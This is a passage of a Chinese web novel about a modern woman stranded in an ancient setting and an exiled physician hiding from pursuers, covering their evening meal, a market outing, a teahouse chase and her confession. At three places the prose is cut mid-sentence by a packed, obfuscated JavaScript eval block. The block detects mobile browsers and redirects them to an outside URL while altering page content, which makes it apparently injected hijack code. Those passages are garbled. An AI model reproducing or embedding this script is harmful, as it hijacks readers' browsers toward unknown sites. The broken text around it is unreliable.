盯着烛台,不知为何,姜庭芜忽然想起儿时之事,那时家中停电,妈妈就会翻箱倒柜找到备用蜡烛点燃,烛火照亮姜庭芜兴奋的脸庞,她仰着头高兴地说:“妈妈,这蜡烛烧起来真好看。” “妈妈……”姜庭芜喃喃自语,一股莫名的委屈涌上心头,穿回古代后的无助迷茫终于找到闸口,瞬间充斥着她的心,忍耐许久的眼泪终于落下。 年久失修的门忽然发出嘎吱声,姜庭芜惶恐地回头,不慎失手打翻烛台,蜡油泼洒在桌面,凝成暗红色的泪痕。 苍白的月光照进来,一只修长的手推开门。 4. 第四章 平阑刚踏进门一步,一本泛黄的古籍呼啸着向他飞来。平阑扬起眉,偏过头抬手轻松截下。 他赶回来时走得匆忙,遮人耳目的斗笠还未摘下,再加上室内还没点蜡烛,平阑勉强看清一个人影缩在角落。 看到他轻松截下书,姜庭芜有些慌张地仰起脸,耳饰折射着苍白的月光,一不留神晃了平阑的眼。 姜庭芜紧紧攥着手里的药杵,一动不动盯着他,像一只在黑暗中潜伏的狮子。那架势大概他再往前走一步,药杵就会砸到他头上。 平阑眨眨眼,终于看清楚姜庭芜的样子,他轻笑起来,吊儿郎当地摇晃着手里的书,口气愉悦地说:“怎么,还没进屋就准备暗杀我?” 平阑年少是在皇家御花园里长大的,虽说奢靡的生活并没有养出骄纵蛮横的性格,但也或多或少让年少的平阑有些自负。 十几岁的少年不知天高地厚,觉得自己强到足够解决一切困难,结果却是朝廷动荡,未到弱冠之年平阑就目睹家国破亡新朝崛起的景象。 本以为还能凭借家族身份在朝廷苟活,却遭到奸人觊觎,一封朝奏直达新帝手中,明里暗里将一些见不得光的事挑明推到平阑头上。 他那时专心医术,从未想到有一天自己会卷入朝廷党锢之争,他极力辩解终是无力的挣扎,当时皇帝盛怒欲处置他,索幸曾受太医院恩惠的老臣苦苦求情下平阑才赦免死罪,被驱逐出宫。 真可谓“一封朝奏九重天,夕贬潮州路八千。” 但上折奏的人不是他,被赶走的人倒确实是他。 在民间生活的几年里可谓颠沛流离,平阑不敢轻举妄动,也不便透露自己的身份,只能伪装成江湖郎中在市井民间流窜,勉强混口饭吃。 平阑一直都知道,有一双眼睛,一直在暗处看着他。 那人自然不肯善罢甘休,他的目的不是赶走平阑,而是要他彻底消失在这个世界上。 离宫第一年冬,不知是遇事不顺还是处事不妥,追捕之人忽然动手,仓促暴露欲除掉平阑的心思。 但他手下不太灵敏,反而打草惊蛇救了平阑一命,为了彻底甩开他们,平阑铤而走险选择进山。 虽说平时他也会进山采药,但眼下已是腊月寒冬,山高林又密,虽甩开眼线,但平阑也在密林中迷失方向。 山夜的冷是渗入骨髓的,那夜天气晴朗,但月色像一层薄霜,照得平阑直打颤,他裹紧衣服,呼出一口白气。 刚才跑得仓促,脸上被树枝刮出一道血痕,等平阑反应过来时,伤口已经凝固。他注视着前方,远处山涧凝着薄冰,水流声缓缓,隐隐传来清脆的铃声,在空旷的山夜里格外响亮。 他走了整整一夜。 天明时分,平阑站在一座寺庙门口,寺庙不大,夹在两座高耸入云的山涧内,大概是路太难走,所以人迹罕至。 黛青色的墙壁被风雨侵蚀得不成样子,经年的青苔爬满墙根,唯有残留着半褪的朱红彩绘,默默诉说着这座寺庙的兴衰。 平阑茫然地站在门口,踌躇着不知去何方。 清晨薄雾弥漫,檐角的铜铃随着山风轻轻颤抖,门“吱呀”响起,一个僧人静静站在门后,似乎等候多时。 四目相对之时,平阑惊愕地看见一双浅灰色的眼睛,雾蒙蒙的,像是笼罩着一层月色。 僧人弯腰行礼,平阑慌忙颔首回礼。 他的目光平和,温声开口:“进来吧,外面很冷。” 平阑犹豫片刻后,还是跟随着僧人走进寺庙。 院子里有棵枝繁叶茂的樟树,遮住半边天,还倔强地伸出墙外,几个小和尚穿着厚棉布做的僧衣,坐在树底下上早课,脸冻得通红还在摇头晃脑地读着《心经》。 看见平阑走进来,他们从课本后面探出头,乌黑的眼珠里满是好奇,后被训斥一番后又悻悻地缩回脑袋。 平阑在那借住了将近三个月,避开耳目的同时,也想让自己彻底摆脱过去的生活。 前朝已亡,那段玩世不恭又格外肆意的日子早就不复存在。 每日跟着小和尚念念经,或坐禅几个时辰来收摄心念,其余时间平阑跟无念大师,就是当时开门的僧人一起。 平阑觉得和他说说话,心就会逐渐宁静下来,偶尔他会上山去采几味草药,试着帮庙里的和尚研制一些缓和顽疾的药方。 初夏将至,当寺庙里的樟树开出一簇簇黄绿色的小花时,平阑辞别无念大师,选择继续游历四方。 短暂摆脱跟随使得平阑过上难得舒坦的日子,不久后他在落枫山脚下寻得间破草屋。 屋子极为偏僻,周边布满野兽的脚印,主人大抵是前朝灭亡时逃难去了,屋子年久失修已破败不堪。 平阑将里面修葺一番,在破败的篱笆边暗设机关,以防禽兽和误入的百姓,也就将就住下。 几年的遭遇多少磨去他性子里尖锐张扬的棱角,现在面对许多事情平阑总能心平气和地接受。但夜深人静,顽固的意识卸下层层盔甲,亡国之痛,阶下囚的心酸,朝廷皇帝对其的不信任,像雪崩般席卷上来,压得他整夜不得安宁。 他并非没有雄心壮志,但眼下奸人在新帝面前格外受宠,他即便回去也是自讨苦吃。 但面对姜庭芜一脸如临大敌的模样,他竟然莫名感到心平气和,甚至还有心情想逗一下她。 姜庭芜没吭声,但紧绷的脸稍微缓和了一点。 她盯着门口的男子,看着他摘下斗笠,露出一双漂亮的桃花眼。 姜庭芜皱起眉,总感觉这张脸和这双眼都似曾相识,她敏锐地联想到自己的梦,一种不好的预感升起,姜庭芜默不作声地放下武器。 平阑转身把门关上锁好,他穿着身竹灰夹棉长衫,外披着条豆青薄绒披风,他看上去很年轻,大概才二十出头,但周遭散发出的气质很沉稳,仿佛做什么事都是游刃有余的。 古代男子二十岁是弱冠之年,虽然姜庭芜对于古代相关的知识了解得不多,但一般常识还是知道的。 这么说在古代他还是刚成年。 一想到这,姜庭芜上班后已经死去的少女心忽然复苏,立马美滋滋地打量起他。 凭借着姜庭芜多年看电视剧的经验,她断定此人身上与那些小喽啰都不一样,应该是非富即贵的富家子弟。 但是——姜庭芜扫了一圈屋子——要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888258|192110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真的是富家子弟,为什么住得这么寒酸,难不成要树立一个廉洁淡泊的形象? 姜庭芜八卦的心一下子起来,开始全方位三百六十度无死角揣摩眼前之人。 俗话说得好,人不可貌相。奈何实在生得一副好皮囊,姜庭芜的眼睛不知不觉又黏在他脸上了。 等平阑收拾好打翻的烛台,重新点亮蜡烛,他抬起头,看见姜庭芜目光炯炯地盯着他,脸上露出一个他非常熟悉的表情。 !!! 平阑整个人一哆嗦,手一抖衣袖“啪”得一下把烛台带翻。 可怜这烛台也是上一任主人丢下来的破玩意,要是放着不动还是件精美的艺术品,但毕竟是上个朝代的遗物,短短几分钟之内被摔两次换谁都罢工。 烛台跌落在地彻底四分五裂。 姜庭芜、平阑:…… 这也让姜庭芜回过神,她刚才心猿意马,思绪都飘到太平洋去了,这一闹才想起正事。 “多……多谢公子相救,小女子不胜感激!”姜庭芜敛袖,有模有样地学着行了个深福礼。她抬起头,盯着平阑的眼睛狡黠一笑,又装出一副羞涩的模样,“敢问公子姓名,公子救命之恩,小女子……没齿难忘……” 要是昨天姜庭芜这么对平阑说的话,平阑还会无条件相信她的话。 但平某昨晚……不对,应该是今天,被某姜姓女子突然亲了一口的事,简直就要成心理阴影了。 平阑轻咳一声,摆摆手:“无妨,举手之劳。我叫平阑,字元初,随姑娘喜好称呼。” “平阑?”姜庭芜重复了一遍,觉得这个名字很独特,“独自莫凭栏……这个名字听着像个皇子会起的名……” 姜庭芜的话让平阑大吃一惊,他对朝廷皇上此类字眼格外敏感,顿时平阑心里警钟大作,连退三步与姜庭芜拉开距离。 姜庭芜迷茫地眨着眼,又不知道自己哪句话得罪了他。 “你……怎么了?那个我……我叫姜庭芜,是青陵城县令的长女,因为家道中落,被父母亲逼着嫁给病秧子冲喜……”工作之后姜庭芜的抗压能力其实变强了不少,但是说这话时,她又想起自己在姜家受到的冷漠和毫不掩饰的敌意,以及只短暂相处过半天却真心实意对她好的微云和杏儿,一阵悲伤涌上心头,她不由得哽咽了。 平阑的表情看上去像被人打了一拳,看见姜庭芜通红的眼眶他脑子宕机说不出话来,舌头在嘴里拐了一圈后只能笨拙地给她倒了杯温热的茶水,又笨手笨脚地掏出块绢巾递给姜庭芜。 姜庭芜抓着绢巾哭笑不得:“你这人怎么这么可爱,我不是小姐,用不着这么精细。”说着用手背抹掉脸上的泪痕。 左臂还是有些肿,姜庭芜试了一下发现还是抬不起来,但伤口被重新处理过,还细心地包上软绢布。 姜庭芜喝了口茶,看到平阑还是一副手足无措的模样,便想让他先坐下。 屋内能做的只有一把椅子和一张床,但那椅子一坐下就开始吱哇乱叫,吓得姜庭芜赶忙起身,又在床边坐下。 “平阑……嗯……别那么紧张,坐吧……”姜庭芜拍了拍身边的空位,“我们能聊一聊吗?” 5. 第五章 姜庭芜认真地在脑海里搜刮了一番原主的记忆,可惜身体原主人是个大门不出,二门不迈的小姐,年纪也不大,虽然性格颇为倔强,偶尔出游过几回,但对围墙外的世界了解颇少。 “我想知道外面是什么情况……我出嫁之前,身边的侍女告诉我外面尚未太平,虽然我只是个普通人家的女子,但对现状一无所知也未免太心大,况且我还是逃婚出来的……” 姜庭芜恰到好处地展现自己求知欲,毕竟她还需在这个朝代生存,不了解一下时事,等下触犯天条可就完蛋了。 她的目光在平阑脸上徘徊,看他这幅欲言又止的表情,姜庭芜就知道平阑不会拒绝她。 果不其然,平阑沉默了片刻,还是开口了。 “那我简单说一些。” 他的声音很清亮,讲起话来对耳朵十分友好,或许怕她听不懂,平阑不急不慢地说,很多复杂的纠葛全都被他省略简化成只言片语。 大致听完,姜庭芜心里便有数。 平阑讲完起身去倒茶,一缕黑发不知不觉滑到胸前,姜庭芜的目光不禁落在上面。 平阑的头发很长,已经垂到腰际。素色发带在头顶简单挽了个小髻,鬓边还落下几缕碎发,反倒衬得面容更加俊朗。 可惜茶壶里水已喝光,平阑默默放下杯子,转身看到姜庭芜眼巴巴地看着他。 “元初哥哥,你看现在天色也不早了,我们能不能先吃饭……” 平阑这才反应过来,从把姜庭芜救回来到现在也快两日。他也只喂姜庭芜喝了几口水,吞了几颗丹药,想必她已经饿了许久。 平阑有些不好意思,赶忙起身去准备饭。烛台刚才摔坏,还未来得及重新点蜡烛,屋内黑漆漆的,平阑一时着急未看清路,被什么给绊了一下,差点一头栽倒在地。 姜庭芜扑哧笑出声,赶紧俯身捡起还未烧完的半截蜡烛,划亮火柴重新点燃。 明亮的火光照亮整个房间,平阑看清绊倒他的是那把嘎吱响的椅子。 姜庭芜举着蜡烛,又没忍住掩着脸哧哧笑了几声,眼睛在烛光下格外明亮。她走过去把椅子扶起来,带着笑意提醒他:“小心一点——” 平阑看上去像是被人再打了一拳,他垂着头,耳根有点泛红,一声不吭地推开不起眼的后门。 姜庭芜逗人逗开心了,笑眯眯地跟过去看。厨房在后院里,她靠在门边,看着平阑动作娴熟地开始做饭。 他取出一小块肉,将其切成极薄的肉片,淋上酱油去腥,起锅烧热,不放油直接下锅爆炒,直至肉片泛白后立即出锅。 十分钟不到一碗爆炒肉片出锅,后院只点了几根蜡烛,即使光线昏暗也可以看出那碗肉色香味俱全,热腾腾的冒着白气,看着十分诱人。 姜庭芜偷偷摸摸溜过去,想趁平阑不备,伸手拿一片尝尝味道。 手还没伸过去,一双竹筷就塞到她手心里。 姜庭芜有点心虚地抬头,平阑正忙着准备下一个菜,注意到姜庭芜的目光后随口说道:“筷子拿上夹着吃,拿手夹菜会烫到的。” 姜庭芜迫不及待地夹了一片,胡乱吹了两口就直接塞进嘴里。 “唔……好烫好烫!”刚出锅的肉片滚烫,姜庭芜含在嘴里被烫得眼泪汪汪,又舍不得吐出来,只好嚼了两下就囫囵吞下去。 “慢点——这肉刚出锅,别烫着嘴了。” “我知道,吃太烫会得食管癌的!”姜庭芜又夹了片,认认真真地吹了好久,确定不烫后才塞进嘴里,肉片入口鲜嫩弹牙,简直跟饭店里做得一样好! 姜庭芜吃得忘我,抬头想夸他,却迎上平阑有些诧异的眼神,姜庭芜才反应过来:古代好像没有“食道癌”! 坏了坏了,真是嘴比脑子快。 姜庭芜伸长脖子把嘴里的肉咽下去,面不改色地问:“下一道菜是什么?” “你伤没好,我熬些粥再做点小菜配粥吃。”好在平阑似乎没在意,反而让她别离他太近,等下衣服被火星子燎了。 姜庭芜于是喜滋滋地端着盘子继续靠回门边,一边往嘴里塞肉一边看平阑颠锅炒菜。 这么会做饭,真是人夫感满满,很适合做个“家庭煮夫”。姜庭芜往嘴里塞了一筷子肉片,忍不住想到。 如果能跟着他,岂不是每天都有吃有住! 姜庭芜被自己突如其来的想法有些惊到,但是她咬着筷子细想了一下,又觉得无不有道理。 她也不确定之后会发生什么事,要不先厚脸皮在他这里住几天…… 姜庭芜正想得出神,一只细长的手突然在她面前晃了晃。 “屋外挺冷的,姑娘还是回屋内待着吧。这肉片快些吃,放冷可就不好入口。”在姜庭芜走神的间隙里,他竟然已经把菜差不多做好了! 平阑端着菜从姜庭芜身边飘然走过,她赶紧跟上去。 煮得咕噜咕噜冒泡的白粥和几样开胃的小菜摆在桌上,姜庭芜端着被她吃了大半的肉片,犹豫着开口问他。 “这个肉片我一不小心吃了不少……你还要吃吗?” “姑娘吃吧,这么久没吃东西肯定饿坏了。” 得到平阑肯定的答复后,姜庭芜三两口把肉片全扒拉进嘴里,垫了垫肚子,饥饿稍微缓解了些。 那把一坐下就开始吱呀叫的椅子姜庭芜不敢坐,便站在桌边,跃跃欲试地等平阑替她舀好粥,就放开肚子开始旋风般喝粥。 平阑半碗粥都没喝完,桌上的菜就已经被她一扫而空。姜庭芜心满意足地放下碗,掏出绢帕擦了擦嘴。 不知是不是吃得太多有些晕碳,姜庭芜刚帮着平阑把碗收拾好,就困得连连打哈欠。 “姜姑娘要是困的话,就先去床上休息吧。” 姜庭芜迷迷糊糊应了声,刚想一头扑倒床上沉沉进入梦乡,慢了好几天才拐回来的大脑突然意识到:这件屋子里只有一张床,她要是睡了,平阑睡哪里?况且前些天她昏迷时,平阑难不成是守在她身边?! “我要是睡了,你该睡在哪?” 平阑没料到她都睡了几天床,才突然问这个问题。他刚洗完碗,宽大的袖口挽上去还未放下,现在天冷,他的指尖沾水后冻得通红,反倒更加……好看,姜庭芜没忍住偷偷瞄了几眼。 平阑扭捏了一会才回答道:“无妨,我哪都可以将就着休息,姑娘重伤未愈,还需好好休息。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888259|192110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那……”姜庭芜还想开口说什么,平阑抢先一步吹灭蜡烛,“姑娘睡吧,在下就……不打扰你。” 房间里重新陷入黑暗,姜庭芜在黑暗中茫然地睁着眼,直到听见门轻轻合上的声音,她才闭上眼睡去。 平阑等到她睡熟后才偷偷溜到窗前看了一眼,见她睡得安稳,又重新戴上斗笠,悄无声息地离开小屋。 穿回古代的几天里,姜庭芜简直把上一世没睡够的觉全都补了回来。 日上竿头,暖融融的阳光照进屋子里,姜庭芜这才睡眼惺忪地醒来。 屋内没有人,但外面隐隐约约传来什么动静。姜庭芜一骨碌爬起来,鞋都没套上就跑去推前门。果不其然,平阑已经收拾端正站在前院里晒草药,听到动静,他手里还抓着把桑叶,转过身冲着姜庭芜一笑。 “姜姑娘早,早点在锅里趁热吃,吃完记得喝药。” 但姜庭芜刚才冒出一个念头,她提着裙边轻巧地跑过来,甜甜地喊了一声“元初哥哥”。 平阑忽然感到心里一阵发毛,第六感告诉他,姜庭芜接下来应该不会说出什么好话。 “你可不可以陪我去街上逛逛?” 姜庭芜看出平阑脸上瞬间露出的犹豫,以为他不想这么麻烦,于是赶紧补充原因。 “你看我慌慌张张逃走,身上只有这身嫁衣,而且都已经破破烂烂了,再怎么说也要置换一身新行头是不是……” “而且这附近我也不认识路,一个人出去也怕不安全,所以……可以吗?”姜庭芜的借口听起来挑不出毛病,很明显她说动了平阑,但他低头不知思忖什么,过了一会才点头同意。 “行,那用完午膳我们再出去。” 午后阳光灿烂,掌柜的汤勺“哐当哐当”地敲着汤锅,高声吆喝着,吸引来来往往食客的注意;裁缝铺的伙计抖开早上刚到的布匹,锋利的剪子咔嚓咔嚓穿过布匹,引得几个贵族人家的妇人小姐驻足观望;茶楼上,说书人的惊堂木“哐”地一声响,周遭的茶客立即安静下来,开始全神贯注地听说书人讲述着精彩的故事。 姜庭芜从未逛过这样的集市,与现代各个城市千篇一律的小吃街不同,这条集市上人来人往,每个人都在寻找自己想要的东西,摊主们招呼着熟悉的客人,谈笑间,货物钱财交换着,汇成一条看不见的生意链。 姜庭芜本来打算先去裁缝店裁身得体的衣裳,结果半道被小摊上的美食馋得走不动道,屁颠屁颠地去买好吃的。 平阑不方便在人多地方走,就塞给姜庭芜一个沉甸甸的荷包,叫她买完自己想要的东西后去茶楼找他。 茶楼里人很多,多是来歇脚的客人和码头上的工人伙计。四方院子里,说书人唾沫横飞地讲着故事,时不时惹得茶客喝彩叫好。 平阑要了壶茶,留心听了一番,是他儿时就听过的一个故事,流传甚广,甚至还改成戏来演。他母亲之前特别钟爱这出戏,每次庙会演这出戏,母亲都会带着幼小的平阑赶去听戏。 想到这,平阑端起茶杯喝了口,微微皱起眉头,想喊小厮来换掉有些凉的茶水。 目光忽然落到不远处的一个身影上,平阑不由得眉心一跳。 6. 第六章 平阑佯装不知,若无其事地唤来小厮,吩咐他再换壶热茶来。 “好嘞客官,您稍等一会,小的速速就换新的茶。” 平阑没有摘斗笠,借着余光将那个人细细打量了一番,确定是之前暗中追捕他的人之一。他佯装听戏,但眼睛一直在喝彩鼓掌的客人里面转来转去,似乎在寻找着什么。 碰巧小厮把新的一壶热茶送上来,平阑从衣袖里掏出几块碎银子塞给他,客客气气地开口问道:“打扰一下,向你……打听点事。” 小厮掂量着碎银子,忙不迭往口袋里塞,满脸堆笑地问:“好说好说,客官你要问什么?” “那边穿着皂色衣裳的人,常来这看戏吗?”平阑凑近小厮,压低声音问道。 小厮见眼前的客人神神秘秘,脸都看不太清,想必是个大人物。 他不敢怠慢,疑惑地侧过脸打量了那个人几眼,皱着眉思考了一番方才回答:“有些眼生,可能是小的没怎么注意。客官是寻他有什么事吗?需要小的帮忙吗?” 平阑摆摆手:“无妨无妨,随口问一下罢了。” 茶楼里的小厮记性都很好,一般客人都是“一回生二回熟”,但连小厮都没什么印象,那可能不是在茶楼守着他,就是单纯来这里歇歇脚。 平阑喝了杯茶,心里盘算着是该下去找姜庭芜还是继续在茶楼等着,一不留神,失手将茶杯打翻,滚落在地。 平阑下意识弯腰想去捡,耳边传来细碎的脚步声,一只染着红色指甲的手抢先一步拾起杯子。 他顺着手往上看,却撞上姜庭芜满含笑意的眼睛。 她已经换了身新衣裳,穿着月白绫罗裁制的交领襦裙,现在天冷,她外面还罩着件浅紫色素面夹棉披风,边缘还镶一圈保暖的绒毛。走动时纱面随动作轻晃,露出裙裾下摆暗绣的细碎云纹。 很美,与穿那身华丽的嫁衣不同,这件日常的衣裳反而更衬得姜庭芜的美。她的头发梳了个精致的垂云髻,上面插着几支步摇,一晃脑袋,流苏在耳边摇摇晃晃,格外俏皮。 “好看吗?”她歪着脑袋,笑盈盈地问平阑。 “好……好看。” “这是我刚刚逛集市的时候发现的,可好吃了,你快尝尝!”姜庭芜从怀里掏出一个热乎乎的纸袋,不分由说直接塞到平阑手中。 是个油乎乎的馅饼,俗称“煎架子”,是集市上很有名气的一个小吃。 平阑捏着纸袋,有些啼笑皆非,但姜庭芜又低着头,兴奋地翻找着什么。 “还有,我跟你说,刚在那边遇到个算命的老婆婆,她看到我说我福气好,就送了我这个。” 姜庭芜叽叽喳喳地说着,由于斗笠的遮挡,她其实看不清平阑的脸色,也不管他有没有在听,一股脑先说。 平阑的目光紧紧盯着那个人,他刚才被小跑着过来的姜庭芜吸引了目光,那双寒潭似的眼睛盯着姜庭芜,直到看见她走到窗边,男人才注意到窗口站着个看不清脸的男人。 不知为何觉得有些眼熟,他没什么情绪的眼睛眯了眯,不由得多看了几眼。 姜庭芜将一块拴着红绳的小木牌掏出来,伸到平阑眼前得意地展示。平阑伸手接过,定睛看了一眼,是块普通的护身符。 “这块是你的。”姜庭芜又掏出个什么东西,硬塞到平阑手心里。 他有些懵地摊开手心,掌心躺着块绢帕,打开一看,竟然又是块木牌,乍一看长得跟姜庭芜手里的很像,但细细端详后就会发现他手里的这个更精致。 “多谢姜姑娘费心,平某不胜感激。”平阑冲她点头感谢,还是把小木牌细心包好收下。 “此处人多眼杂,不好久留,我们还是先走。”平阑微微弯下腰,凑到姜庭芜耳边轻声说。 他的嗓音清亮,凑近姜庭芜耳边说话,不免惹得她耳根有些热。 “哦——好。”姜庭芜有些心不在焉地应了一声,还不忘飞快地给自己倒了杯茶一饮而尽。 天色有些暗下来,赶回去还要一些时间,是时候可以走了。 “二位慢走,下次光顾聚福楼——”小厮端着盘精致的糕点,路过他们身边时热情地招呼了一声。 姜庭芜抿嘴笑着冲着他点点头,忽然,走在前边的平阑转过头,一把拽住她的手。 姜庭芜不明所以,刚想开口问,听到身后忽然传来急促的脚步声。 一个陌生的声音高喊着“站住”。 怎么回事?! 姜庭芜仓促下楼间不忘回头看,一个高个子男人站在楼梯口,他穿着一审玄色短打,脚上踩着千层底的皂靴,看上去像个衙门的捕快。 见姜庭芜回头望他,他又厉声喊一声“站住”,飞身从狭长的楼梯上翻下来。 这么高超的身手,姜庭芜只在电视剧里见过。况且她刚被劫匪追过,应激还未消退,听到让她站住,姜庭芜感觉左臂的伤口又钻心地疼起来。 她也不知道那人为什么突然要追他们,但对方来势汹汹,不管怎么样先跑再说! 她顺着平阑拽她的力,三步并作两步飞快地窜下楼梯。那人已经安稳落地,离他们只有几步之遥。 一楼的人更多,茶水桌椅相互堆叠,来听书的客人三三两两坐满长条凳,甚至还有不少人站着,熙熙攘攘挤得走不动道。 眼看那人气势汹汹地冲过来,平阑拽着姜庭芜疾步往后退,冷静地说:“姜姑娘你先走,他的目标是我……” 结果平阑话还没说完,姜庭芜劈手夺下一旁小厮手里端着的茶水,毫不客气地对着即将够到她衣角的男人的脸泼下去。 平阑:……我要不还是闭嘴…… 男人可能没想过姜庭芜竟然迎面对着他泼滚烫的茶水,一下子被烫得吱哇乱叫。平阑趁他没回过神又上去补了一脚,把他踹得往后退了几步,“哐当”一下砸在四方桌上,惊得桌边的客人鸟雀作散,场面一度十分混乱。 “走!”这回是姜庭芜拽着平阑跑,还未跑到门口,背后传来愤怒的吼声,一把椅子横空飞过来,跨越大半个院子直直冲着狂奔的两人砸去。 “小心!”平阑迅速把姜庭芜整个人都搂到怀里,按着她往下躲。竹椅擦着平阑的头顶飞过,撞歪了他的斗笠,还顺道勾散了几缕头发。 姜庭芜整个人都被他压在怀里,又被他的发丝迎面扑了一脸,脸瞬间胀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888260|192110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得通红。 平阑身上有股好闻的草木香味,还带着点薄荷的清凉,充斥着姜庭芜的鼻腔。 但这短暂的时刻只停留了几秒,竹椅“哐”地一下砸在他们眼前,瞬间摔得四分五裂。平阑拽着还没反应过来的姜庭芜冲出茶楼,熟练地拐进一条不起眼的小巷。 小巷里面弯弯绕绕,姜庭芜刚才在凹凸不平的石板路上崴了脚,实在有些跑不动。那人似乎没追上来,平阑放缓速度,半搂半抱地搀扶着她,张望了一下,拐进一扇半开的木门里。 这是间荒废的草屋,一进门,姜庭芜整个人都站不稳了,要不是平阑眼疾手快抱住她,姜庭芜估计整个人都直愣愣地栽倒在地。 “庭芜姑娘?你还好吗?”姜庭芜脚脖子还有些疼,只好用一只脚跳着走,她有些狼狈,为了保持平衡,整个人倚靠在平阑怀里,又被他身上清冽的草药味熏得找不到北,脑子都有点迷糊了。 “先在这待一会,等他走了再出去。” “……好。” 姜庭芜含混地应了一声,整张脸忍不住往他脖子上蹭,手也不太老实,紧紧搂着他的腰。 热气吐在平阑的脖子上,激得他鸡皮疙瘩都起来了,只好小心翼翼地往外推了推姜庭芜。但她不高兴地皱着脸,又贴上来,嘴里含含糊糊地说:“再抱一会……” 平阑没办法,只好任由她把他当做个人型抱枕继续搂着。 他侧耳听了听外面的动静,看来那人并没有追上来。 平阑实在无法理解,他平日很少来集市,怎么一来就会碰到那人的眼线? 只有一个解释:他还没有放弃除掉他的念头。 平阑苦笑了一声,看来纠葛颇深,一时半会真还逃不掉。 眼见天色不早,二人歇息片刻,平阑叫了辆马车赶回落枫山下。 今天是十四,月亮很圆,嵌在空中散落着幽幽的白光。 平阑和姜庭芜并肩走着,姜庭芜不知道在想什么,走着走着就落到后头去了,平阑不得不停下脚步来等她。 姜庭芜突然回想起前几天那个非常逼真的梦,当时就抱有一丝存疑,思来想去后觉得只有一种可能:梦里的帅哥就是平阑,而且很不幸的是,她当真亲了平阑一口! 姜庭芜感觉自己穿回古代之后莫名其妙闯出一堆祸来,人家好心救你,结果还被你反过来调戏了! 一想到这,姜庭芜恨不得找个地缝钻下去。但她思索片刻后灵机一动,想到个主意:要是借着这个表白,何尝不是个办法。 平阑虽未透露其身份,但短暂相处过后,姜庭芜断定他肯定不是普通百姓。 她手无寸铁又没有家庭背景撑腰,还是……多给自己留条路吧。 是不是她攻略了平阑帅哥就可以回去! 抱着一丝飘渺的幻想,姜庭芜一不做二不休,立马喊住平阑。 “平阑哥哥……” 平阑猛地停住脚步,虽然他并不知道姜庭芜要说什么,但神秘的第六感又让他莫名感到一丝不安。 他转过头,看见姜庭芜站在皎洁的月光下,仰着头眉眼弯弯地看向他。 “我喜欢你。” 7. 第七章 如果要找一个确切的形容词来描述平阑此刻的心情,那大概是山崩地裂,五雷轰顶,平生第一次,平阑严重怀疑自己当时把姜庭芜救下是一件非常不明智的选择。 这姑娘怎么想一出是一出! 平阑张口结舌,结果一不小心一口咬到自己的舌头,疼得眼泪差点掉下来。 他木着脸盯着姜庭芜,半晌吐不出一个字。 姜庭芜心一横表完白后彻底豁出去了,她提着裙边,朝着平阑走近一步,赶忙补充道:“真的……元初哥哥,我是认真的,你……愿意吗……” 平阑原本僵硬的脸彻底破碎,刚咬到舌头让他话都说不利索了:“什么……庭芜姑娘,你莫冲动,这……这事可不能信口开河,况且你一女儿家……怎么可以随随便便说这话!” 说完他倒吸一口凉气,也不知是不是舌头疼。 但姜庭芜似乎根本没在听他说什么,她伸手拽住他的衣袖,眼里满是期待。 “元初哥哥,你别害羞嘛,我承认之前不小心……亲了你是我的不对,但我真的很喜欢你!”姜庭芜觉得自己有点像女儿国国王,口干舌燥地试图说服心无杂念的“平僧”。 平阑脑袋嗡嗡作响:怎么又提先前那件丢脸的事来!还有,她偷亲他她竟然有印象! 说实话,平阑并不排斥身边突然多出一个姜庭芜。 眼前这个姑娘,鲜活,张扬,又带着与这个年纪不符的沉稳,这些因素混杂在她身上,却丝毫不违和,反倒使得她更与众不同。 平阑没忍住想起那天夜里,昏黄烛火下,他看见姜庭芜半睁半闭的眼里倒映出他的脸。 为什么会突然想起这个画面?平阑也说不清楚,只是下意识脑子里就浮现出这个场面。 姜庭芜说她是成亲半路偷跑出来的,平阑长到现在二十余年,幼时在宫外曾见过很多女子为了选秀进宫做了很大的努力。但她们中的绝大多数都困于深宫之中,被岁月夺去曾经引以为荣的容颜和气质,却只能日复一日地站在自己的寝殿门口,翘首等待着一个不可能的结果。 “缦立远视,而望幸焉。有不见者,三十六年。” 但绝大多数平民百姓家的女子,不甘听从父母安排的婚事,却又无力反抗,最终只能坐在敲锣打鼓的花轿里默默落泪。 “父母之命,媒妁之言。”古往今来,这似乎是每个女孩一生必须遵守的事。 即便平阑作为一个旁观者,对此也感到无能为力。他已经对朝廷感到失望,宦官政党之间的明里暗里的纠缠像是永远理不清斩不断的线。而后宫则是个吃人不吐骨头的地方,大把大把的姑娘挤破脑袋想进去,获得皇帝的恩宠一步登天,未曾想自己再也出不来了。 